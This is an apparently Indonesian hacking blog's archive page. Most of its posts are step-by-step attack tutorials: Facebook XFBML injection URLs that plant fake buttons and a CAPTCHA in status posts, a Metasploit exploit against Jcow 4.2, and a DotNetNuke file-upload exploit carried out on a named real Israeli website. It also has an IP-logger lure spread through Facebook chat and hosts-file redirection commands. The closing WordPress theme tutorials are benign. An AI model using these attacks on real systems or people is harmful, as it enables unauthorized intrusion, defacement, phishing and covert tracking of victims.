Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Facebook Status Update With XFBML Injection

Posted by welcome to the nightmare On 04.34 0 komentar


Facebook Status Update With XFBML Injection



Beberapa waktu yang lalu saya pernah memposting artikel Tweaking Facebook Status with HTML button di sini dan di sini. Artikel kali ini akan membahas tentang Tweaking Facebook yaitu Update Status Dengan XFBML Injection. Dengan sedikit tweaking ini, kita bisa melakukan sebuak injeksi pada url Facebook lalu kemudian membagikan hasilnya pada status Facebook kita.

Berikut preview dan url code-nya




CAPTCHA : http://www.facebook.com/cyber4rt/posts/226958147350609

http://www.facebook.com/connect/prompt_feed.php?&attachment={%27href%27:%27http://t.co/q3EzkPR%27,%27name%27:%27%20%3Ccenter%3E%3Cbutton+type%3D%22button%22%3EMengamankan%20Facebook%20Terbaru%3C/button%3E%3C/center%3E%3Cfb:captcha%20showalways=%22true%22%20/%3E%3Cinput%20type=%22submit%22%20/%3E%3C/form%3E%3Cbutton+type%3D%22button%22%3Ekirim%20%3C/button%3E%27}
TEXT AREA : http://www.facebook.com/cyber4rt/posts/248470535173103

http://www.facebook.com/connect/prompt_feed.php?&api_key=209403259107231&attachment={%27name%27:%27%20%3Ccenter%3E%3Cfb:editor-text%20label=%22Powered%20By%22%20name=%22title%22%20value=%22%20http://blog.cyber4rt.com%22/%3E%3C/br%3E%3Ccenter%3E%3C/center%3E%3Cfb:editor-textarea%20label=%22Komentar%20Anda%22%20name=%22comment%22%20value=%22%20JEMPOL%22/%3E%3Cfb:editor-buttonset%3E%3Ccenter%3E%3Cbutton+type%3D%22button%22%3EKomentari%3C/button%3E%3C/center%3E%27}

LIVE STREAM : http://www.facebook.com/cyber4rt/posts/161116127297514
http://www.facebook.com/connect/prompt_feed.php?display=touch&api_key=209403259107231&link=http://t.co/q3EzkPR&attachment={%27description%27%3A%27%3Cfb:live-stream%20event_app_id=%22266225821384%22%20width=%22400%22%20height=%22500%22%20xid=%22%22%20via_url=%22http://t.co/q3EzkPR%22%20always_post_to_friends=%22false%22%3E%3C/fb:live-stream%3E+%27}
Klik salah satu url code di atas, lalu bagikan seperti biasa anda meng-update status Facebook.
Jika ada yang ingin ditanyakan, silakan berkomentar di sini
:)
[ Read More ]

Hacking Jcow Social Networking Webserver

Posted by welcome to the nightmare On 04.31 1 komentar

 

Hacking Jcow Social Networking Webserver

Apakah teman-teman pernah melihat CMS yang satu ini?
Jcow social networking…Ya, memang demikian namanya… Jcow menawarkan aplikasi berbasis web untuk situs jejaring sosial secara gratis alias free dan bisa dilihat di websitenya jcow.net dengan ukuran file yang cukup kecil hanya 777KB tidak lebih dari 1 MB.

Jcow

Tapi disini yang akan saya bahas bukanlah mengenai penggunaan dari si Jcow ini sebagai situs pertemanan, melainkan terdapatnya suatu vulnerability dari beberapa versi dari Jcow yang ternyata dapat disusupi hanya dalam 4 langkah , dan bahkan si penyusup dapat melihat isi direktori web server korban(jika ternyata servernya pun tidak menerapkan pengamanan yang baik).

Pada contoh yang akan saya buat dibawah ini, korban menggunakan IP : 192.168.8.94…

Jauh lebih baik kalau kawan-kawan mau belajar menggunakan virtual lab terlebih dahulu, tapi kalau ternyata penasaran ingin langsung to the wild arena, kawan-kawan juga bisa cari via google dork : “Powered by Jcow 4.2.0“. Jika tertarik untuk langsung ke dunia nyata, kawan-kawan juga harus mempelajari logika dari teknik penyerangan via internet(klik disini)


O.S Penyerang : BT 5 R1
O.S Korban : XP SP3
Aplikasi vulnerable : Jcow 4.2

Pada artikel ini juga saya sebelumnya sudah membuat username : “victim dan password :”victim” pada aplikasi Jcow target.

Oke kita mulai langkah demi langkahnya dibawah ini

Kebutuhan :
1. Metasploit Framework (metasploit.com)
2. Script exploit jcow.rb (link mediafire di website asalnya)

Langkah-Langkahnya :
1. Copykan file exploit jcow.rb yang sudah di-download kedalam folder /pentest/exploits/framework/modules/exploits/remote/

cp jcow.rb /pentest/exploits/framework/modules/exploits/remote/

Jika bingung bagaimana cara meng-copy kan file exploit.rb kedalam Backtrack Linux, kawan-kawan bisa lihat tutorialnya disini.

2. Buka metasploit console dengan mengetikkan msfconsole pada terminal, lalu gunakan exploit yang sebelumnya sudah kita copy tadi.
msf > use exploit/remote/jcow

3. Selanjutnya ketikkan perintah show options untuk melihat switch apa saja yang dapat digunakan untuk exploit ini.



msf exploit(jcow) > set rhost 192.168.8.94 –> target IP
rhost => 192.168.8.94
msf exploit(jcow) > set username victim –> set username
username => victim
msf exploit(jcow) > set password victim –> set password
password => victim 


4. Yep setelah semuanya selesai dikonfigurasi dengan baik, langkah terakhir tinggal menjalankan perintah exploit pada konsol metasploit.



Berhasil
Pengamanan :

1. Upgrade Jcow ke versi terbaru
Sumber : vishnuvalentino.com
[ Read More ]

Hack Website Lewat HP

Posted by welcome to the nightmare On 04.26 0 komentar


Hack Website Lewat HP

Mungkin kedengarannya gila bila membaca judul diatas….! ‘it’s imposible‘  kata beberapa orang, Saya hanya seorang Newbie yg selalu pgn mencoba, maaf bila postingan ini dah basi dan untuk para master jangan dibaca ya coz dah jadul.


 

Pada dasarnya aplikasi web browser di HP maupun di PC it cara kerjanya sama,yg membedakan adalah system yg bekerja mendukung applikasi it sendiri (Java, SymBian, Linux, Windows, Android etc). Dan ukuran atau kapasitas serta kemampuan menampilkan web. Tapi pada dasarnya cara kerjanya tetap. Sama, jadi apa yg bisa dilakukan lwt pc,kmgknan bsa jg dikerjakan lwt hape…!

Nah yg coba saya bahas disini adalah exploit web dgn cara hack web melalui DNN (dot net nuke) exploit
melalui hape.


Bahan2 yg kita butuhkan adalah:

1. Operamini browser versi 5.0
2. Operamini browser versi 4.2


Kenapa pake 2 Web Browser ?
Lebih enak pake 2 browser di atas.alasannya adalah:

1. Operamini 5.0 mendukung multi tab jadi cocok buat mencari target dan mengetesnya   tanpa harus open close satu2.

2. Operamini 5.0 mempunyai kemampuan copi paste,pilih text dan lgsg mensearchnya dlm sekali klik ditab yg sama ataupun membukanya di tab baru.

3. Operamini 4.2 respon browser lbh bagus dr yg v 5.0

Setelah cek target dr opmin 5.0 dan ternyata vuln tgl copy kan aja linknya di operamini 4.2 .
Tgl kta exploit lwt situ..
(Operamini 4.2 tdk multi tab,untuk yg multi tab slhkan cari di opera modif di google)


Nah sekarang memasuki langkah2 atau cara2 melakukan hack web dgn DNN exploit melalui opera mini.

Pertama: pastikan anda masih mempunyai saldo pulsa
Kedua
: buka operamini v 5.0 anda dan ketik di kolom google search dorknya->

inurl:”/portals/0″  

And search!!…
Nah dapet kan??
Tinggal kita pilh target yang pas di hati.dan kali ini saya coba di situs orang israel.
Taruh cursor di link target trus tekan angka 1 di keypad hape anda.
Pilih open in new tab.
Begitu seterusnya untuk link target yg lain sampai keluar beberapa tab.
Oh,ya untuk mengetahu gimana ,apa dan bagaimana DNN exploit it silahkan baca disini:


http://securityreason.com/exploitalert/6234

Next, misalkan kita dah dpt targetnya nih…

Example site:
http://fril.co.il/portals/0/cwindex.txt


Spti keterangan di securityreason di atas kita coba potong link target dan menggantinya dgn
/Providers/HtmlEditorProviders/ Fck/fcklinkgallery.aspx  


->http://site.com/[path]/portals/0/a.txt

Menjadi
->http://site.com/[path]/Providers/HtmlEditorProviders/ Fck/fcklinkgallery.aspx 


Lakukan it pada smua target yg udah kamu buka pada browser operamini 5.0 km.biar gak bolak balik
copas lagi.


Setelah dapet dan pasti vuln seperti site di bawah ini.

http://fril.co.il//Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Copy dan pastekan di opera 4.2 kamu.
Nb:Alasannya knapa pindah browser yaitu pada opera 5.0 di hape saya kurang respon pada perintahupload. Proses upload berjalan tapi file tidak terupload dan begitu di coba di v 4.2 sukses terupload. Tapi bila di v.5.0 km bisa ya lanjut aja disitu.gak ush pndah applikasi.
Lanjut proses.!


Setelah site target di buka di opmin 4.2

Pilih : file ( select a file on your site)

Tunggu biar loading selesai dan menampilkan 2 kolom:

Kolom 1 biasanya tulisan ‘root’
Kolom 2 berisi macam2 file.
Setelah loading selesai hapus link di addres bar operamini kamu dan ganti dgn script di bawah ini:
javascript:__doPostBack(‘ctlURL $cmdUpload’,”)


Lalu klik ok….

Kolom yg tdnya berisi ‘root’ dan ‘jenis2 file’
Skrg ganti menjadi kolom ‘root’ dan kolom kosong untuk upload file.
Nah skrg tgl km upload tuh file txt yg udah km simpan di hape km.
SUCCESS..! you cAn hacked a web site from mobile phone.


Hasilnya seperti ini http://fril.co.il/portals/0/xadal.txt < 100% lewat handphone

Nb: angka 1 di operamini berfungsi untuk copas,select text and open new tab.
-sekian-

banner2
[ Read More ]

Cara Mengetahui IP Lawan via Chatting Facebook

Posted by welcome to the nightmare On 04.18 0 komentar

banner2

 

Cara Mengetahui IP Lawan via Chatting Facebook



Tutorial ini digunakan untuk mengetahui IP lawan dengan cara chat di FaceBook.
Hal ini bermanfaat untuk mengidentifikasi lawan melalui media Social Engineering.

Cara Mengetahui IP Lawan
Ada beberapa yang perlu disiapkan yaitu:
  1. Sebuah SERVER HOSTING yang bisa dipakai untuk menyimpan file logger.
  2. Sebuah LINK content / halaman menarik yang dapat digunakan untuk mengalihkan perhatian lawan.
  3. FILE LOGGER itu sendiri.
Instalasi FILE LOGGER kedalam CONTENT:

  1. Bikin sebuah artikel yang indah & menarik, sehingga akan banyak orang yang akan melihat.
  2. Kemudian buatlah file HTML, misalkan simpan difile: “galau.html“.
  3. Pada sela-sela code html tersebut, masukkanlah / inject code logger kedalam source htmlnya.
  4. Sesuaikan / edit alamat email untuk pengiriman hasil IP target di dalam code loggernya.
  5.  Kemudian upload file tersebut ke server hosting.
  6. Pastikan serverhosting memiliki kemampuan  pengiriman email seperti: SMTP / POP3
  7. Nanti file tersebut dibuka dengan: http://www.situsanda.com/galau.html
Cara yang dipakai disini adalah:
  1. Berusaha chatting dengan lembut dan baik dengan lawan chatting kita.
  2. Kemudian rayulah lawan untuk dapat meng-klik LINK yang sudah kita berikan tadi.
  3. Konfirmasikan ke lawan apakah sudah membaca link dengan cara menanyakan apa isi linknya.
  4. Link yang anda kirimkan adalah link logger yang tadi yaitu http://www.situsanda.com/galau.html
Setelah dapat dipastikan bahwa lawan kita sudah melihat link tersebut.
Maka, jreeengggggg.. kita lihat hasilnya. Itulah dia IP lawan chatting kita di Facebook.
Untul lebih jelas detailnya silakan ditonton disini:

<iframe width="560" height="315" src="http://www.youtube.com/embed/WYtLujSV-6w" frameborder="0" allowfullscreen></iframe>

File yang dibutuhkan, silakan download disini: Selamat mencoba & semoga berhasil :)
[ Read More ]

DNS Host URL File Hacking

Posted by welcome to the nightmare On 04.14 0 komentar


DNS Host URL File Hacking

Pernah kebayang gak saat kita mau buka website A tiba2 yang muncul malah website B, tapi anehnya Url nya adalah alamat website A ? wah…pikiran kita pasti langsung ke virus atau spyware, belum tentu, bisa aja ada seseorang yang iseng <baca:hacker> telah menyusup ke system kita dan merubah file host untuk di arahkan ke Url yang dia kehendaki
Terus Gimana caranya ? cekicrot….

1. Buka cmd kamu dengan cara masuk menu run→cmd trus enter
2. Kalau udah masuk ketikkan
cd\windows\system32\drivers\etc
Seperti gambar di bawah ini :

Photobucket

3.  Cek dulu isi file hosts nya dengan perintah type hosts maka akan muncul seperti gambar dibawah ini

Photobucket

4. Muncul kan isi dari file hosts, terus gimana cara ngrubahnya ? gini caranya…ping dulu alamat yang mau dijadikan pengubah url target. Disini saya ambil contoh : www.kompas.co.id

Photobucket

5.  Nah, dapetkan IP nya.  tinggal nentuin sasarannya, website sasaran saya adalah www.jasaraharja.co.id, kalian boleh website apa aja.
6. jadi perintahnya adalah :
echo 202.146.4.100 www.jasaraharja.co.id >> hosts
trus enter deh.

Photobucket

7. Coba cek lagi di hosts nya tadi dengan perintah type hosts dah muncul kan perubahan
yang kita lakukan tadi…

Photobucket

8.  Buat nge-cek hasilnya,buka browser kamu dan coba browse ke www.jasaraharja.co.id
Pasti berubah tampilannya ke kompas.com, kaya ini nih..

Photobucket

Gak sulit kan membuat halaman website redirect ke halaman lain, hanya bermodalkan cmd aja.


Selamat Mencoba ! 
:)
[ Read More ]

Belajar Membuat Theme WordPress Part 5 ~ 8

Posted by welcome to the nightmare On 04.02 0 komentar


Belajar Membuat Theme WordPress Part 5 ~ 8

PART 5

mari kita lanjutkan pembelajaran kita pada pembahasan pembuatan tema wordpress.

Yang langsung nyantol di link ini, nih ane kasih part part sebelum mulai beranjak untuk membaca part 5 ini. silakan di pelajari dan di komentari
:D


Kemaren kita udah buat file sidebar.php, dan berhubung sekarang waktu ane sangat sangat singkat banget, jadi kita mulai dengan hal file yang simple dulu kali ye…

Oke yang sekarang akan kita bahas adalah membuat file comments.php

Berhubung ane sendiri sampe sekarang masih agak bingung tentang costumasi file comments.php jadi ane kasih mentahnya aja untuk kalian copas di file comments.php yang sebelumnya telah kita buat.

Silakan pastekan function ini di comments.php

<?php // Do not delete these lines
if (‘comments.php’ == basename($_SERVER['SCRIPT_FILENAME']))
die (‘Please do not load this page directly. Thanks!’);
if (!empty($post->post_password)) { // if there’s a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn’t match the cookie
?>
<p>This post is password protected. Enter the password to view comments.</p>
<?php
return;
}
}
/* This variable is for alternating comment background */
$oddcomment = ”;
?>
<!– You can start editing here. –>
<?php if ($comments) : ?>
<h2 id=”comments”>Comments</h2>
<div>
<?php wp_list_comments2(); ?>
</div>
<?php else : // this is displayed if there are no comments so far ?>
<?php if (‘open’ == $post->comment_status) : ?>
<!– If comments are open, but there are no comments. –>
<?php else : // comments are closed ?>
<!– If comments are closed. –>
<p>Comments are closed.</p>
<?php endif; ?>
<?php endif; ?>
<?php if (‘open’ == $post->comment_status) : ?>
<div id=”respond”>
<h3 id=”respond_title”>Post a comment</h3>
<div>
<small><?php cancel_comment_reply_link(); ?></small>
</div>
<?php if ( get_option(‘comment_registration’) && !$user_ID ) : ?>
<p>You must be <a href=”<?php echo get_option(‘siteurl’); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>”>logged in</a> to post a comment.</p>
<?php else : ?>
<form action=”<?php echo get_option(‘siteurl’); ?>/wp-comments-post.php” method=”post” id=”commentform”>
<div>
<?php theme_google_300_ads_show(); ?>
</div>
<?php if ( $user_ID ) : ?>
<p>Logged in as <a href=”<?php echo get_option(‘siteurl’); ?>/wp-admin/profile.php”><?php echo $user_identity; ?></a>. <a href=”<?php echo wp_logout_url(get_permalink()); ?>” title=”Log out of this account”>Log out &raquo;</a></p>
<?php else : ?>
<p><input type=”text” name=”author” id=”author” value=”<?php echo $comment_author; ?>” size=”22″ tabindex=”1″ <?php if ($req) echo “aria-required=’true’”; ?> />
<label for=”author”><small>Name <?php if ($req) echo “(required)”; ?></small></label></p>
<p><input type=”text” name=”email” id=”email” value=”<?php echo $comment_author_email; ?>” size=”22″ tabindex=”2″ <?php if ($req) echo “aria-required=’true’”; ?> />
<label for=”email”><small>Mail (will not be published) <?php if ($req) echo “(required)”; ?></small></label></p>
<p><input type=”text” name=”url” id=”url” value=”<?php echo $comment_author_url; ?>” size=”22″ tabindex=”3″ />
<label for=”url”><small>Website</small></label></p>
<?php endif; ?>
<!–<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>–>
<p><textarea name=”comment” id=”comment” cols=”100%” rows=”10″ tabindex=”4″></textarea></p>
<p><input name=”submit” type=”image” src=”<?php bloginfo(‘template_url’)?>/images/comm_sub.gif” id=”submit” tabindex=”5″ value=”Submit Comment” />
<?php comment_id_fields(); ?>
</p>
<?php do_action(‘comment_form’, $post->ID); ?>
</form>
<?php endif; // If registration required and not logged in ?>
</div>
<?php endif; // if you delete this the sky will fall on your head ?>

Dari pengalaman ane selama ini mengostumasi file comments.php, ane hanya mengetahui beberapa dari ratusan bahkan ribuat trik untuk membuat menarik comments kalian…

Kalian bisa mempercantik tag tag html nya dengan mengcostumasinya di style.css

PART 6


Yo yo yo. selamat malam kawan semuanya…. mari kita lanjutkan pembelajaran kita pada pembahasan pembuatan tema wordpress.

Ga kerasa sekarang itu udah memasuki tuto yang part 6,

Yang sekarang akan kita bahas adalah cara membuat file single.php, oh iye, tutor ini ane dah susun mulai dari depan hingga belakang secara berurutan, seperti pada part 1 kita membahas membuat header, dan footer pada part 2, dilanjutkan dengan index pada part 3, disusul oleh sidebar pada part 4, dan comments pada part 5, jadi menurut hemat saya, maka selanjutnya adalah single, so lets start….
pada dasarnya, single.php itu sama dengan index.php hanya saja ada beberapa tambahan pada page single. seperti komentar, similiar post, etc.

Jadi untuk membuat single.php kita buka dulu file index.php
Dan copas isinya ke single.php….



Berikut adalah isi dari index.php renewal yang udah di refisi pada part 4,

<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>

Nah sekarang tambah kan code pemanggil comment
Berikut code nya…

<?php comments_template(); ?>
Letakan sebelum endwhile, maka hasil akhirnya seperti ini…
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php comments_template(); ?>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>

Save code diatas dengan nama single.php,

Mudah kan.. oke sekarang mah belajarnye pendek pendek aje dulu ye.. cz takut muntah klo di jejelin bejibun code dalam sekali lahap, Pelan pelan aje ye, supaya tar kalian pada bisa dan berkarya dengan ilmu,,

NB : keep learning and join us @ forum.binushacke.net

PART 7

 setelah kemaren kita buat file single.php sekarang kita akan membahas page.php




Sebenernye sama aja dengan single.php cuma page.php ini akan didipake sebagai default page yang kita buat.

Sekarang kita buka lagi file single.php nya.. dan copy semua source yang ada, copas ke file page.php
Maka file page.php akan menjadi seperti ini
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php comments_template(); ?>
<?php endwhile; ?>
<?php endif; ?>
</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>
Ada satu lagi trik di file page.php ini. ane nemu trik ini setelah beberapa waktu lalu ane mau buat page galery di blog ane, tapi rasanya canggung klo pake template page bawaan tema. makanya ane cari sumber lain dan ga jauh jauh.. ketemunye di instalan wordpress juga, tepatnye di tema bawaan wordpress.. nah hal yang perlu kalian tambahkan untuk membuat page yang kalian ingin kan dan pastinya beda dari page.php yang ada. silakan kalian modifikasi sebagus mungkin file page.php nya. setelah itu save as, ubah namanya terserah kalian, disini saya kasih contoh galery.php nah setelah itu kalian tambah kan code ini tepat di atas

<?php get_header();?>

Berikut codenya

<?php /*
Template Name: Galery
*/ ?>
Nah jadinya seperti ini

<?php /*
Template Name: Galery
*/ ?>

<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php comments_template(); ?>
<?php endwhile; ?>
<?php endif; ?>
</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>

Oke untuk kostumasinya saya akan tampilkan jika tutorial ini sudah selesai dan tema hasil buatan kita ..
So have a nice day and nice day

PART 8


Seperti yang sudah ane janjiin dulu di pagenya B|H di facebook bahwa ane akan bahas tentang functions.php di wordpress, nah pertemuan sekarang ane akan sedikit mengulas tentang functions.php, pada dasarnya functions.php adalah file yang berisi perintah tambahan untuk blog kita. dan disini kita bisa melakukan segala hal untuk blog kita. bisa dibilang ini adalah nyawa ketiga blog kita setelah hosting dan theme…
.


So lets begin

Completely remove the version number from pages and feeds

// remove version info from head and feeds
function complete_version_removal() {
return ”;
}
add_filter(‘the_generator’, ‘complete_version_removal’);
Customize the admin footer message
// customize admin footer text
function custom_admin_footer() {
echo ‘Website Design by Monzilla Media’;
}
add_filter(‘admin_footer_text’, ‘custom_admin_footer’);
Enable delete and spam links for comments
// spam & delete links for all versions of wordpress
function delete_comment_link($id) {
if (current_user_can(‘edit_post’)) {
echo ‘| del ‘;
echo ‘| spam’;
}
}

dan tambah kan ini di cooments loop nya

Disable all WordPress feeds
// disable all feeds
function fb_disable_feed() {
wp_die(__(‘

Feed not available, please visit our Home Page!

‘));
}
add_action(‘do_feed’, ‘fb_disable_feed’, 1);
add_action(‘do_feed_rdf’, ‘fb_disable_feed’, 1);
add_action(‘do_feed_rss’, ‘fb_disable_feed’, 1);
add_action(‘do_feed_rss2′, ‘fb_disable_feed’, 1);
add_action(‘do_feed_atom’, ‘fb_disable_feed’, 1);
Add feed links to header
// add feed links to header
if (function_exists(‘automatic_feed_links’)) {
automatic_feed_links();
} else {
return;
}
Enable threaded comments
// enable threaded comments
function enable_threaded_comments(){
if (!is_admin()) {
if (is_singular() AND comments_open() AND (get_option(‘thread_comments’) == 1))
wp_enqueue_script(‘comment-reply’);
}
}
add_action(‘get_header’, ‘enable_threaded_comments’);
Remove unwanted crap from the head section
// remove junk from head
remove_action(‘wp_head’, ‘rsd_link’);
remove_action(‘wp_head’, ‘wp_generator’);
remove_action(‘wp_head’, ‘feed_links’, 2);
remove_action(‘wp_head’, ‘index_rel_link’);
remove_action(‘wp_head’, ‘wlwmanifest_link’);
remove_action(‘wp_head’, ‘feed_links_extra’, 3);
remove_action(‘wp_head’, ‘start_post_rel_link’, 10, 0);
remove_action(‘wp_head’, ‘parent_post_rel_link’, 10, 0);
remove_action(‘wp_head’, ‘adjacent_posts_rel_link’, 10, 0);
Add a different favicon for your blog’s Admin area
// add a favicon for your admin
function admin_favicon() {
echo ”;
}
add_action(‘admin_head’, ‘admin_favicon’);
Custom Admin Login logo
// custom admin login logo
function custom_login_logo() {
echo ‘
h1 a { background-image: url(‘.get_bloginfo(‘template_directory’).’/images/custom-login-logo.png) !important; }
‘;
}
add_action(‘login_head’, ‘custom_login_logo’);
Disable unused widget areas
// disable all widget areas
function disable_all_widgets($sidebars_widgets) {
//if (is_home())
$sidebars_widgets = array(false);
return $sidebars_widgets;
}
add_filter(‘sidebars_widgets’, ‘disable_all_widgets’);
Kill the WordPress update nag
// kill the admin nag
if (!current_user_can(‘edit_users’)) {
add_action(‘init’, create_function(‘$a’, “remove_action(‘init’, ‘wp_version_check’);”), 2);
add_filter(‘pre_option_update_core’, create_function(‘$a’, “return null;”));
}
Sekarang tinggal di masukan kepada file functions.php dan walah,, jadilah tema yang selama ini jadi tutorial kita.. untuk demo nya menyusul ya, cz belum ane susun…

UPDATE Versi E-Book!

Buat yang menunggu versi ebook nya ini suadah saya buat kan, jadi silakan di dikmati. Dan untuk versi videonya sedang di garap.. so sabar
:)
Dowload di Link Berikut untuk Ebooknya:







[ Read More ]

Belajar Membuat Theme WordPress Part 1 ~ 4

Posted by welcome to the nightmare On 03.51 1 komentar




PART 1

 

Dikarenakan komponen dari theme wordpress itu bejibun, jadi disini saya akan membahasnya satu persatu, kenapa? selain agar kalian dapat lebih mengerti hirarki dalam tema wordpress, kalian juga akan mengerti tag tag yang dipake oleh wordpress dalam penyusunan front end nya.

Kita siapkan dulu bahan bahan yang akan kita gunakan.

=[1]= Template html dasar

[ Disini saya akan menggunakan template HTML yang sudah banyak betebaran di google, untuk download dasarnya silakan download disini http://freehtml5templates.com/downloads/free/butterflybrilliance.zip ]

=[2]= Text editor untuk mengedit template dasarnya, disini saya menggunakan Dream Weaver 8, bagi yang tidak ada silakan pake text editor e.g notepad, notepad++,

=[3]= Teh manis, camilan, rokok untuk menemani membaca artikel ini, jangan lupa puter mp3 kesayangan kalian untuk mebuat mood kalian oke….

======== Step 1 [ Pre Editing ] =========

Sebelum kita memulai mengerjakan membuat tema ini, alangkah baiknya jika kita mengenal dulu hirarki dalam tema wordpress itu.
===> Menurut wprainbow (wprainbow.com) dituliskan pada artikel
http://www.wprainbow.com/memahami-hirarki-theme-template-wordpress/
Disebut kan,
Theme Template WordPress memiliki alur eksekusi berdasarkan aturan tertentu. Artikel kali ini akan membantu anda untuk memahami alur dari Theme Template
Prasyarat yang dibutuhkan
Sebelum Anda meneruskan untuk membaca artikel ini, pastikan Anda telah membaca artikel saya sebelumnya yang berjudul Menggunakan File Theme Template dan Mengenal Anatomi WordPress Theme.
Hirarki Theme Templates
Seperti yang telah kita tahu sebelumnya bahwa sebuah WordPress Theme minimal memiliki 2 file yaitu style.css dan index.php maka ketika sebuah WordPress Theme tidak memiliki file Theme Template diatas, maka akan digantikan fungsinya oleh Theme Template lainnya berdasarkan urutan hierarki yang telah ditentukan oleh WordPress.
Misal ketika pengunjung mengakses blog, maka engine WordPress pertama kali akan mencari file Theme Template home.php. Jika WordPress Theme yang aktif sekarang tidak memiliki file home.php maka yang akan digunakan adalah file index.php. Contoh lain ketika pengunjung membuka Category tertentu maka yang pertama kali dicari oleh engine WordPress adalah file category-id.php, jika tidak ditemukan maka file category.php-lah yang akan digunakan, jika masih tidak ditemukan maka file archieve.php. Terakhir jika masih belum ditemukan maka akan menggunakan file index.php.

Berikut ini bagan hirarki wordpress:

======== Step 2 [ Editing ] =========

Setelah kalian tadi download template html nya, sekarang extract dalam folder,
seperti yang terpampang di bagan diatas, kita bisa mengambil kesimpulan, hirarki tema wordpress paling paling sederhana, berikut susuannya.

1. Style.css                                                              
2. index.php                                                             
3. footer.php                                                            
4. header.php                                                           
5. comments.php                                                      
6. single.php                                                             
7. page.php                                                              
8. archive.php                                                           
9. functions.php                                                         

Itu lah susunan yang akan kita pakai sebagai dasarnya,
Sekarang kita cek tema html yang tadi kita download apakah sudah ada file file yang kita butuh kan itu atau belum? Yang pastinya belum, maka tugas kita selanjutnya adalah membuat file yang belum ada.

File yang sudah ada hanyalah style.css, maka untuk file yang lainya kita buat terlebih dahulu, sekarang buat file ber-extensi *php dari notepad, buat satu file “text document ” dan save as index.php

Setelah itu kita copy paste file index.php itu, buat 6 lagi, dan rename menjadi footer,header,single,page,comments,functions dan archieve.

Tugas kita selanjutnya, adalah mengisi header.php
Sekarang buka file index.html yang disertakan di temlpate html tadi, open with notepad.
berikut isi dari index.html

<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />
<!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”" />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
<article>
<h2><a href=”#”>Second Article Title</a></h2>
<p><img src=”images/coolbutterfly.png” alt=”" />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
<p>Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
